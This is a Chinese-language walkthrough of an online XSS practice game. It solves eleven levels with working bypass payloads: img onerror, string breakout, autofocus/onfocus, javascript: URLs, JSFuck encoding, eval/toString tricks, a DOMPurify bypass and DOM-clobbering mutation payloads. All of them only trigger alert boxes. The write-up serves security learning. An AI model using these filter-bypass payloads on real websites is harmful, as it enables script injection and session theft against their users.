XSS小游戏（题目+解析）DOM破坏！！！

文章目录

[一、Ma Spaghet!](#一、Ma Spaghet!)
二、Jefff
[三、Ugandan Knuckles](#三、Ugandan Knuckles)
[四、Ricardo Milos](#四、Ricardo Milos)
[五、Ah That's Hawt](#五、Ah That's Hawt)
六、Ligma
七、Mafia
[八、Ok, Boomer](#八、Ok, Boomer)
九、svg
十、DOM破坏
十一、WW3

xss题目练习地址：
xss小游戏
游戏界面

一、Ma Spaghet!

我将题目要求进行翻译:

题目的主要要求就是：弹出一个（1337）的弹窗

开始解题：

Let's Go!

首先，传个参数看看

发现参数直接显示在了 < h2 > 标签里面了，肯定是有问题的。

回看一下代码：

用的是innerHTML，这个就是解题的关键，它里面有一个威胁标签，官方将其禁用了，就是 < script > 但是也只是禁用了这一个标签，所以换一个就行了用 < img > 试试：

成功！

绕过代码：

php 复制代码

?somebody=<img src="1" onerror="alert(1337)">

二、Jefff

看代码知道：

php 复制代码

"Ma name ${jeff}"

这个值赋值给了ma，然后在1秒的睡眠后，在页面输出

那么就正常的绕过思路（用双引号绕过，然后注释掉后面的引号 ）：

成功！

绕过代码：

php 复制代码

?jeff=1";alert(1337);//

也可以用另一种方法，也和上面这个方法差不多（换个表示方法）：

代码：

php 复制代码

?jeff=1"-alert(1337);-"

三、Ugandan Knuckles

看代码加了点限制;

php 复制代码

wey = wey.replace(/[<>]/g, '')

他过滤了尖括号，然后放在了input位置

那么这里就要使用一个方法了：

onfocus ：焦点（获取焦点事件）

input天生就有焦点事件：

如上图（红框）

鼠标在上面移动时，显示的就是焦点

同时还要搭配另一个方法：autofocus （自动聚焦）

我们来看看效果：

成功！

绕过代码：

php 复制代码

?wey=aaa" οnfοcus=alert(1337) autofocus="

autofocus自动聚焦到 onfocus 让他自动执行 alert(1337)

四、Ricardo Milos

这题多了一个（submit）提交事件，在两秒后自动运行action，那么明显action是一个注入点：

成功！

绕过代码：

php 复制代码

?ricardo=javascript:alert(1337)

五、Ah That's Hawt

这个题目可以试试用 location ：用于获取或设置窗体的URL，并且可以用于解析URL

成功！

绕过代码：

php 复制代码

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

开始我后面写的是：

php 复制代码

"javascript:alert%281337%29"

但是不能运行，所以我把 % 也进行了编码转换（% = %25）然后就成功了

六、Ligma

这个题（有点狠呀！）过滤了字母和数字，看到的时候还是愣了一下，想不到解决方法 ~~~ 毕竟每个绕过（查找）都要有字母数字

所以我当时唯一想到的就是用编码的方式绕过：

先找一个好的编码网页：

得到编码，但是还不行，还要进行编码：

全部复制：

指定参数进行传参：

php 复制代码

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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七、Mafia

限制了字长，过滤了字符，过滤了alert，其实还过滤了另外两个（confirm，prompt），作者应该是写错代码了，不然仅过滤一个alert，那我们可以用（confirm，prompt）这两个绕过，那这题就没意义了。

方法一：可以用匿名函数来试试

匿名函数先定义的函数，然后在里面将函数的源码转为小写

绕过代码：

php 复制代码

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

方法二：利用toString方法

十六进制，alert转换的话，30刚好到 "t" ，如果小于 30 那么就只能解析为 aler 少了 "t"

绕过代码：

php 复制代码

?mafia=eval(8680439..toString(30))(1337)

相对于把前面 "eval(8680439...toString(30))" 这个代码转换为 alert

方法三：利用location和hash切片slice

绕过代码：

c 复制代码

?mafia=eval(location.hash.slice(1))#alert(1337)

后面的 "alert(1337)" 不会被认为是前面的参数，所以不会被过滤

八、Ok, Boomer

新增了一个过滤框架 "DOMPurify" ，这个框架基本无法绕过

可以利用 js 弱类型语言的特点

可以把函数放入字符串中，然后执行，那么我们就可以利用这个来操作。a标签的href会自动替换为字符串，而在代码中可以知道，它会自动获取到href的值，那么我们就可以将函数写入到href当中。

成功！

绕过代码：

php 复制代码

?boomer=<a id=ok href="tel:alert(1337)">

注意：" "tel:alert(1337)" 这里我写的是tel ，因为javascript 在"DOMPurify" 这个框架中是黑名单，所以我换成了这个 tel 因为这个在白名单里面，是被框架允许的"

九、svg

利用svg再嵌套一个svg实现输出

至于这个原理：经过我的查找，我的理解是在进行文件执行前，会进行一个DOM树的构建 ，而如果只是一个svg的话，由于js阻塞dom树，一直到js语句执行结束后，才可以引入img，此时img的属性已经被sanitizer清除了，自然也不可能执行事件代码了 。

而如果是嵌套 svg 的话，我理解的是**最内层的svg先触发，然后再到下一层，而且是在DOM树构建完成以前就触发了相关事件；最外层的svg则得等到DOM树构建完成才能触发。**也就是说只要嵌套两个及以上的svg就会执行输出（个人想法，不知道对不对，对这个有了解的可以解答一下，我这个想法是对的吗）

十、DOM破坏

源码：

html 复制代码

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>
        <script>alert(1)</script>
    </title>
</head>

<body>
    <style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>
</body>
<script>
    const data = decodeURIComponent(location.hash.substr(1))
    const root = document.createElement('div')
    root.innerHTML = data
    // console.log(root.querySelectorAll('*'))

    for (let el of root.querySelectorAll('*')) {
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name)
        }
        for (let name of attrs) {
            el.removeAttribute(name);
        }
    }
    document.body.appendChild(root);
</script>

</html>

主要的原理就是 "< input id=attributes> < input id=attributes>"利用这两个input无关紧要的值代替里面要被删除的合法属性参数，从而使前面"< style>@keyframes x{}</ style>< form style="animation-name: x" onanimationstart="alert(1)">"这个代码进行逃逸（绕过），使能够在页面执行输出。

十一、WW3

源代码：

html 复制代码

<!-- Challenge -->
<div>
    <h4>Meme Code</h4>
    <textarea class="form-control" id="meme-code" rows="4"></textarea>
    <div id="notify"></div>
</div>

<script>
    /* Utils */
    const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
    const memeTemplate = (img, text) => {
        return (`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');`+
            `.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}`+
            `.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;`+
            `position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>`+
            `<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`)
    }
    const memeGen = (that, notify) => {
        if (text && img) {
            template = memeTemplate(img, text)

            if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

            setTimeout(_ => {
                $('#status').remove()
                notify ? ($('#notify').html(html)) : ''
                $('#meme-code').text(template)
            }, 1000)
        }
    }
</script>

<script>
    /* Main */
    let notify = false;
    let text = new URL(location).searchParams.get('text')
    let img = new URL(location).searchParams.get('img')
    if (text && img) {
        document.write(
            `<div class="alert alert-primary" role="alert" id="status">`+
            `<img class="circle" src="${escape(img)}" οnlοad="memeGen(this, notify)">`+
            `Creating meme... (${DOMPurify.sanitize(text)})</div>`
        )
    } else {
        $('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'))
    }
</script>

经过对代码的分析，发现，基本都有过滤，但是还是有切入点的，就是以下这个

如果正确，那么就会输出以下代码，我们可以在这个代码中做文章

html 复制代码

 if (notify) {
                html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
            }

很明显也是要用到DOM破坏的

利用自动补全机制，通过嵌套 < style > 使< script > 写进div里面进行执行

成功！

绕过代码：

php 复制代码

?text=<img%20name%3dnotify><style><style%2F><script>alert(1337)%2F%2F&img=https://i.imgur.com/PdbDexI.jpg